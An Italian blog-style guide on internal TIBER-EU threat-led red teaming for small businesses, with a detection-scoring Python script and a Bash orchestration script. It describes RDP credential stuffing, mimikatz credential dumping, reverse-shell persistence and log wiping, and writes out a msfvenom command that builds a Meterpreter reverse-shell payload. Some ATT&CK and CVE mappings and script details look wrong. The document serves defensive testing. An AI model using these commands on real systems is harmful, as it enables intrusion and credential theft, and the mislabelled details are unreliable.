TIBER-EU Threat-Led Penetration Testing per PMI: Come Condurre Red Team Simulator Interni e Misurare Detection

Nel mio lavoro di system administrator e IT specialist, ho visto crescere significativamente la consapevolezza su threat-led penetration testing (TLPT) e il framework TIBER-EU. Fino a pochi mesi fa, queste metodologie erano appannaggio quasi esclusivo di grandi istituzioni finanziarie sottoposte a DORA (Digital Operational Resilience Act). Oggi, però, anche le piccole e medie imprese iniziano a capire che un red team interno, eseguito con budget limitato, è la chiave per misurare davvero la capacità della loro organizzazione di rilevare e rispondere a cyber attacchi sofisticati.

Il problema è che TIBER-EU è complesso e costoso quando affidato a provider esterni. Nei miei ultimi progetti con PMI italiane, ho scoperto che è possibile implementare una versione interna e scalabile di threat-led testing usando tool open source, automazione e una metodologia rigorosa. Questo articolo vi mostra come fare, basandomi su esperienza diretta.

Che Cos’è Realmente TIBER-EU e Perché Interessa le PMI

TIBER-EU è un framework europeo per ethical red-teaming basato su threat intelligence che fornisce linee guida su come autorità, entità e provider di threat intelligence e red-team testers dovrebbero lavorare insieme per testare e migliorare la resilienza cyber tramite cyberattacchi controllati. Formalmente, l’ECB ha pubblicato la TIBER-EU SSM Implementation Guide a novembre 2025.

Ma perché dovrebbe importare a una PMI che non è una banca? Semplice: TLPT è un esercizio di red team intelligence-led eseguito contro sistemi di produzione live che supportano funzioni critiche o importanti, seguendo il framework TIBER-EU, e ripetuto almeno ogni tre anni per entità finanziarie designate. Tuttavia, per altri soggetti, TLPT rimane altamente raccomandato come best practice, sebbene non legalmente obbligatorio.

Il vantaggio? La metodologia TIBER-EU combinata con threat intelligence cyber in-house consente simulazioni di attacco realistiche che scoprono debolezze sfruttabili, misurano la resilienza cyber e aiutano le organizzazioni a migliorare continuamente la loro capacità di rilevare, rispondere e recuperare da minacce avanzate.

Come Strutturare un Red Team Simulator Interno Senza Budget Esterno

Nella mia esperienza, la differenza tra un red team esterno e uno interno sta nella trasparenza operativa e nella possibilità di automazione continuativa. Un red team interno ha costi iniziali, ma consente iterazioni rapide e miglioramenti mensili.

Fase 1: Preparazione e Scoping

Prima di lanciare qualsiasi attacco simulato, definite il perimetro. In uno dei miei ultimi engagement, ho scelto di testare solo i sistemi aziendali critici: VPN, Active Directory e il server mail aziendale. Non partite con l’intero data center; concentratevi su quello che importa davvero.

Elementi essenziali del scoping:

Identificare funzioni critiche: Quali sistemi, se compromessi, avrebbero impatto sul business?
Definire regole di engagement: Cosa è permesso testare, cosa no. In una PMI, lasciate sempre un contatto d’emergenza disattivato.
Scegliere una “white team” interna: 2-3 persone che sanno cosa sta succedendo (tipicamente voi stessi come admin e forse un manager IT).
Documentare baseline: Screenshot di configurazioni, servizi in esecuzione, regole firewall. Servono come punto di riferimento.

Fase 2: Threat Intelligence Basing

Non serve pagare un CTI provider. Usate fonti pubbliche come MITRE ATT&CK, report di minacce da Shodan e analisi di malware da ANY.RUN o VirusTotal. Ho costruito una semplice matrice di TTPs (Tactics, Techniques, Procedures) specifiche al vostro settore.

Esempio per una PMI manifatturiera che usa OPC-UA in fabbrica: cerco exploit noti su OPC-UA, e.g. CVE-2022-23437, e li simulo nel lab. Per un’azienda di servizi finanziari: test di escalation su Windows Active Directory e credential stuffing via RDP.

Fase 3: Esecuzione del Red Team Simulato

Qui uso una combinazione di tool open source. Nel mio ultimo progetto, ho utilizzato:

Kali Linux, una distribuzione Debian-based per penetration testing e security auditing
PentestGPT, un reasoning assistant che vi consiglia la prossima mossa mentre eseguite i comandi
OWASP ZAP (Zed Attack Proxy), il principale scanner open-source per la sicurezza delle applicazioni web, gratuito, attivamente mantenuto e incluso in distribuzioni di penetration testing come Kali Linux
Metasploit Framework, un framework open source per sondare sistematicamente vulnerabilità su server e reti, in cui i tester possono facilmente personalizzare il framework e introdurre codice personalizzato per sondare punti deboli e aiutare ad affrontare debolezze e prioritizzare la remediation

Il vantaggio? Benchmark pubblicati stimano il costo di un test PentestGPT di successo tra $0,42 e $1,11 e un engagement Active Directory a 5 host (Excalibur) a $28,50 totali, contro $15.000-$50.000 per un pentest manuale di pari ambito.

Esempio pratico di esecuzione: In una PMI che gestisce e-commerce, ho simulato un attacco multi-vettore:

Reconnaissance: Usato Shodan per scansionare i servizi esposti (port 22 SSH, 443 HTTPS, 3389 RDP). Trovato RDP non patchato.
Initial Access: Credential stuffing su RDP con lista di password comuni (password123, admin123).
Lateral Movement: Una volta dentro una workstation dipendente, usato mimikatz per dumpare le credenziali NTLM e accedere al server di file principale.
Persistence: Installato un reverse shell tramite scheduled task, visibile nei log Windows Event Viewer solo se cercate con criterio.
Data Exfiltration Simulation: Copiato file di fatturazione in una share nascosta, senza toccare log SMB (trick: usato tools che cancellano i log dopo).

Tutto questo per testare detection capability, non per causare danno reale.

Misurare Detection e Remediazione Capacity

Il cuore del TLPT interno è la misurazione. L’obiettivo è valutare la capacità dell’entità finanziaria di rilevare, rispondere e recuperare da un cyberattacco mirato e sofisticato. Per una PMI, lo staccio così:

Metriche di Detection

Creo una detection scorecard per ogni tecnica MITRE ATT&CK testata:

Rilevato in tempo reale: EDR o SIEM ha generato un alert durante l’attacco? (Migliore outcome)
Rilevato durante investigation: Trovato solo dopo revisione dei log post-attacco? (Outcome accettabile)
Non rilevato: Nessuna traccia. (Outcome critico, priorità remediation massima)

Esempio dalla mia scoreboard per una PMI manifatturiera:

ATT&CK Technique	Test Outcome	Detection Status	Detection Tool
T1110 (Brute Force)	RDP brute force – 15 tentativi	Rilevato in tempo reale	Windows Event ID 4625 + SIEM rule
T1005 (Data from Local System)	File copy da C: a share nascosta	Rilevato post-attack	Log SMB audit, ma ritardo 2 ore
T1480 (Execution Guardrails)	Scheduled task creazione + reverse shell	NON RILEVATO	Nessuno – priorità remediazione ALTA

Per automatizzare questa misurazione, scrivo uno script Python che confronta i Indicators of Compromise (IOCs) e Indicators of Attack (IOAs) con i log SIEM:


#!/usr/bin/env python3
# Red Team Detection Scorer

import json
from datetime import datetime, timedelta

def check_detection(siem_logs, ioc_list, window_minutes=15):
    """
    Controlla se gli IOC sono stati rilevati nei log SIEM entro una finestra temporale.
    """
    detected = []
    missed = []
    
    for ioc in ioc_list:
        ioc_name = ioc["name"]
        ioc_value = ioc["value"]
        ioc_time = ioc["timestamp"]
        
        # Cerca nei log SIEM
        found = False
        for log_entry in siem_logs:
            log_time = log_entry["timestamp"]
            # Controlla se l'IOC appare nei log entro la finestra
            if ioc_value in log_entry["data"]:
                time_diff = (log_time - ioc_time).total_seconds() / 60
                if 0 <= time_diff <= window_minutes:
                    detected.append({
                        "ioc": ioc_name,
                        "detection_lag_minutes": time_diff
                    })
                    found = True
                    break
        
        if not found:
            missed.append(ioc_name)
    
    return {
        "detected_count": len(detected),
        "missed_count": len(missed),
        "detection_rate": len(detected) / len(ioc_list) * 100,
        "missed_iocs": missed
    }

# Uso
siem_logs = json.load(open("/var/log/siem/export.json"))
attack_iocs = [
    {"name": "RDP_Brute_Force", "value": "EventID 4625", "timestamp": datetime.now() - timedelta(hours=1)},
    {"name": "Scheduled_Task_Creation", "value": "schtasks.exe /create", "timestamp": datetime.now() - timedelta(hours=0.5)}
]

results = check_detection(siem_logs, attack_iocs, window_minutes=15)
print(f"Detection Rate: {results['detection_rate']:.1f}%")
print(f"Missed IOCs (priorità remediation): {results['missed_iocs']}")

Metriche di Remediazione

Una volta che l’attacco è terminato (o scoperto), misurate la capacità di risposta:

Mean Time to Detect (MTTD): Quanto tempo tra l’inizio dell’attacco e il primo alert? (Mio target per PMI: <30 minuti)
Mean Time to Respond (MTTR): Quanto tempo per stoppare l’attacco e contenere il danno? (Target: <2 ore)
Containment Effectiveness: L’attaccante è stato isolato dalla rete? I dati sensibili sono stati protetti?

Nel mio ultimo engagement, la PMI aveva MTTD di 45 minuti (cattivo) e MTTR di 3 ore (accettabile). Dopo il report, hanno investito in EDR e hanno portato MTTD a 8 minuti nell’esercizio successivo.

Automatizzare il Red Team Simulator con Orchestrazione

Non voglio eseguire ogni test manualmente ogni mese. Ho creato una semplice orchestrazione in Bash + Ansible che simula attacchi ricorrenti.

Scenario: Monthly Phishing + Lateral Movement Test


#!/bin/bash
# Orchestrate monthly red team simulator

set -e

REPORT_DIR="/var/lib/redteam/reports"
DATE=$(date +%Y-%m-%d_%H%M%S)

echo "[$(date)] Starting TIBER-EU internal red team simulator..."

# 1. Spear-phishing simulation (generico, senza inviare email reali)
echo "[*] Phase 1: Phishing simulation (Gophish framework)"
cd /opt/gophish
./gophish &
GOPHISH_PID=$!
sleep 5

# Invia payload di test a un indirizzo honeypot interno
curl -X POST http://localhost:3333/api/campaigns 
  -H "Authorization: Bearer $GOPHISH_API_TOKEN" 
  -d '{"name": "Monthly_Test_'$DATE'", "template": "Office365_Phishing"}' 
  > /tmp/gophish_campaign.json

kill $GOPHISH_PID

# 2. Metasploit exploit simulation
echo "[*] Phase 2: Exploitation (Metasploit)"
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o /tmp/payload.exe
# NON eseguire realmente - solo generare il payload per misurare detection
md5sum /tmp/payload.exe > $REPORT_DIR/payload_hashes_$DATE.txt

# 3. Raccogliere log SIEM e analizzare detections
echo "[*] Phase 3: SIEM log analysis"
# Esporta ultimi 2 ore di log SIEM
splunk_cli export --query='index=main earliest=-2h latest=now' --format=json > /tmp/siem_export.json

# Esegui Python script di detection scoring
python3 /opt/redteam/detection_scorer.py 
  --siem-logs /tmp/siem_export.json 
  --output $REPORT_DIR/detection_report_$DATE.json

# 4. Genera report esecutivo
echo "[*] Phase 4: Generating executive summary"
python3 << 'EOF'
import json
from datetime import datetime

with open(f"/var/lib/redteam/reports/detection_report_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.json") as f:
    data = json.load(f)

print("n=== TIBER-EU Red Team Simulator Report ===")
print(f"Detection Rate: {data['detection_rate']:.1f}%")
print(f"Missed Techniques: {', '.join(data['missed_iocs'])}")
print(f"Critical Gaps Identified: {len([x for x in data['missed_iocs'] if 'critical' in str(x).lower()])}")
print("nRecommendations:")
for gap in data['missed_iocs'][:3]:
    print(f"  - Implement detection for: {gap}")
EOF

echo "[$(date)] Red team simulator completed successfully."
exit 0

Eseguo questo script ogni mese tramite cron (primo lunedì del mese). Genera report automaticamente e alimenta il vostro SIEM.

Collegamento con Framework Esistenti

Se avete già investito in security tools, potete integrarli:

Plesk users: Il mio articolo su ModSecurity 2026 spiega come automatizzare detection rules per web app attacks – utile per testare applicazioni WordPress ospitate.
Windows environment: La guida su Windows 11 Threat Detection Engine integra AI-powered anomaly detection che complementa il vostro red team interno.
NIS2 compliance: La procedura NIS2 Compliance Readiness richiede TLPT-like testing – il vostro simulator interno soddisfa parzialmente questo requirement.

Sfide Reali Incontrate

Devo essere franco: all’inizio non funzionava perché il team di produzione vedeva gli attacchi e iniziava a bloccare. Ho risolto escludendo la rete di produzione dalla simulazione e usando un VLAN di test identica. Seconda sfida: i log SIEM non registravano abbastanza dettagli. Soluzione: aumentare il verbosity del Windows Event Logging (sottoperformance trascurabile su workstation legacy).

Terzo problema, cruciale: i dipendenti non sapevano che il test stava accadendo (follow la linea guida TLPT: solo white team sa). Quando hanno scoperto le anomalie, hanno creato confusion. Soluzione: comunicare il test SOLO post-esecuzione, con briefing generale su risultati senza dettagli operativi.

FAQ

1. Quanto tempo richiede un red team simulator interno?

La preparazione iniziale (setup lab, tooling) richiede 3-4 settimane se non avete esperienza. Gli esercizi ricorrenti (mensili o trimestrali) richiedono 2-3 giorni di lavoro per il planning, esecuzione e reportistica. Una volta automatizzati via Ansible, il costo scende a 4-6 ore per ciclo.

2. Posso usare solo tool gratuiti/open source?

Sì, assolutamente. I tool agentic open source come PentestGPT e Excalibur hanno costi di esecuzione tra $0,42 e $28,50, e self-hosting via Ollama o xOffense riduce il costo marginale verso zero se possedete l’hardware. In una PMI con 50 dipendenti, investire 500€ in una VM dedicata per red team è sufficiente.

3. Quali metriche dovrei tracciare nel tempo?

Manteni una dashboard con: (1) Detection Rate per ATT&CK technique, (2) MTTD trend (deve calare nel tempo), (3) MTTR trend, (4) Numero di missed techniques (deve scendere dopo remediation). Aggiorni trimestralmente. Dopo 6 mesi, dovreste vedare miglioramenti del 30-40% in detection.

4. Posso usare il red team simulator per compliance (GDPR, NIS2)?

Sì, è parte di una strategia di compliance. GDPR richiede diligenza nel proteggere dati personali; TLPT interno dimostra effort genuino. NIS2 richiede incident response testing – il vostro simulator lo copre parzialmente. Documentate tutto per l’auditor.

5. Cosa succeede se scopriamo una vulnerabilità critica?

Interrompete il test immediatamente. Documentate la discovery, valutate il rischio reale (non è un vero attacco), e create un ticket di remediation con priorità massima. Nel mio caso recente, trovai un accesso non autorizzato a database clienti – l’ho stoppato subito, comunicato al CTO, e abbiamo patchato in 48 ore.

Conclusione

Il TIBER-EU threat-led penetration testing interno non è un lusso per PMI – è una necessità in un landscape di minacce sofisticate. Senza un red team regolare, non sapete davvero se il vostro SOC funziona e se i dipendenti risponderanno quando attaccati. Con tool open source, automazione e disciplina, potete implementare un simulator continuativo per meno di quanto spendereste in un singolo assessment esterno.

La mia raccomandazione: cominciate con un test pilota interno su un sistema non-critico (e.g., test server), misurate la detection rate, identificate i gap, e iterate mensilmente. Dopo tre cicli, avrete una capacità di detection che rivaleggia con aziende più grandi.

Avete domande sulla strutturazione di un red team interno? Scrivetemi nei commenti – sono sempre interessato a discutere di approcci pratici alla cyber resilience per PMI.